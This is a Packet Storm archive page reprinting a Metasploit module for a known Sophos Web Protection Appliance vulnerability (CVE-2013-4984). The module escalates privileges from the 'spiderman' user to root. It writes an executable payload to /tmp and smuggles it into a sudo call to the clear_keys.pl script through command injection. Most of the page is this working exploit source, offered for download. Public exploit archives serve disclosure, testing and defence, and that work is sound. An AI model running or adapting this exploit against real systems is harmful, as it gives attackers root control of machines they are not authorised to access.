exploit the possibilities

Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation

Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation
Posted Sep 17, 2013
Authored by Francisco Falcon, juan vazquez | Site metasploit.com

This Metasploit module abuses a command injection on the clear_keys.pl perl script, installed with the Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". This Metasploit module is useful for post exploitation of vulnerabilities on the Sophos Web Protection Appliance web ui, executed by the "spiderman" user. This Metasploit module has been tested successfully on Sophos Virtual Web Appliance 3.7.0.

tags | exploit, web, root, perl, vulnerability
advisories | CVE-2013-4984, OSVDB-97028
MD5 | 045d7706a83f11ef97ef77f137a6d58b

Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'


class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',
'Description' => %q{
This module abuses a command injection on the clear_keys.pl perl script, installed with the
Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
'References' =>
[
[ 'CVE', '2013-4984' ],
[ 'OSVDB', '97028' ],
[ 'BID', '62265' ],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'DefaultOptions' =>
{
"PrependFork" => true,
"PrependSetresuid" => true,
"PrependSetresgid" => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 06 2013'
}
))

register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
], self.class)
end

def check
if file?(datastore["clear_keys"])
return CheckCode::Detected
end

return CheckCode::Unknown
end

def exploit
print_status("Checking actual user...")
id = cmd_exec("id -un")
if id != "spiderman"
fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")
end

print_status("Checking for the vulnerable component...")
if check != CheckCode::Detected
fail_with(Failure::NoTarget, "The vulnerable component has not been found")
end

print_status("Dropping the payload to #{datastore["WritableDir"]}")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)

cmd_exec "chmod +x #{exe_file}"

print_status("Running...")
begin
# rm the file after executing it to avoid getting multiple sessions
cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}"
ensure
cmd_exec "rm -f #{exe_file}"
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    0 Files
  • 3
    Apr 3rd
    0 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close